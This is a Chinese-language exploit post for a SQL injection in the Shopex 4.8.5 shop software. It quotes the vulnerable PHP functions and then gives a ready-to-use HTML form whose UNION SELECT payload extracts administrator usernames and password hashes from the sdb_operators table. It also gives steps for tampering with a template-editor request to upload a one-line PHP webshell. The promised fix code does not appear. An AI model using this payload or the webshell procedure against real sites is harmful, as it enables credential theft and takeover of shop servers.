漏洞文件:
漏洞核心函数 \core\model_v5\trading\mdl.goods.php
function gnotify($goods_id=0,$product_id=0){
if($_POST['goods']['goods_id']){
$goods_id = $_POST['goods']['goods_id'];
$product_id = $_POST['goods']['product_id'];
}
$this->id =$goods_id;
$objGoods = &$this->system->loadModel('trading/goods');
$aProduct = $objGoods->getProducts($goods_id, $product_id);//www.lpboke.com 直接带进去了
$this->pagedata['goods'] = $aProduct[0];
if($this->member[member_id]){
$objMember = &$this->system->loadModel('member/member');
$aMemInfo = $objMember->getFieldById($this->member[member_id], array('email'));
$this->pagedata['member'] = $aMemInfo;
}
$this->output();
}
\core\shop\controller\ctl.product.php 文件调用
漏洞代码
public function getProducts( $gid, $pid = 0 )
{
$sqlWhere = "";
if ( 0 < $pid )
{
$sqlWhere = " AND A.product_id = ".$pid; //www.lpboke.com 没过滤 ~~~~~~
}
$sql = "SELECT A.*,B.image_default FROM sdb_products AS A LEFT JOIN sdb_goods AS B ON A.goods_id=B.goods_id WHERE A.goods_id=".intval( $gid ).$sqlWhere;
return $this->db->select( $sql );
}
EXP: 保存为html使用即可
<html>
<head>
<title>Shopex 4.8.5 SQL Injection Exp</title>
</head>
<body>
<h2>Shopex 4.8.5 SQL Injection Exp (product-gnotify)</h2>
<form action="http://www.lpboke.com/?product-gnotify" method="post" name="submit_url">
<input type="hidden" name="goods[goods_id]" value="3">
<input type="hidden" name="goods[product_id]" value="1 and 1=2 union select 1,2,3,4,5,6,7,8,concat(0x245E,username,0x2D3E,userpass,0x5E24),10,11,12,13,14,15,16,17,18,19,20,21,22 from sdb_operators">
<input type="submit" value="">
</form>
网址请修改:[url]http://www.lpboke.com/?product-gnotify[/url]
本程序只能用于网站安全检测
禁止用于非法途径,产生的一切后果与作者无关!
<body>
</html>
拿shell方法…
第一步 页面管理 修改模版 然后选一个XML编辑
开始用 live http 抓包 你们懂的 然后把第一个POST包给抓出来
然后改包 包要这么改 我研究了半天 尼玛的菊花红
id=1273923028-info.xml&tmpid=1273923028&name=index_temp.php&file_source=
解释一下 id是你选择的模版文件夹名称 后面的info.xml 是你修改的XML文件 tmpid= 你们懂的 就是模版文件夹 然后 name 是你提交的文件名字 file_source 是后门或者shel
我这里是一句话 你们懂的 然后提交了之后 地址是这样的http://Madman.in/themes/文件名称/你的木马名称
最后是修复代码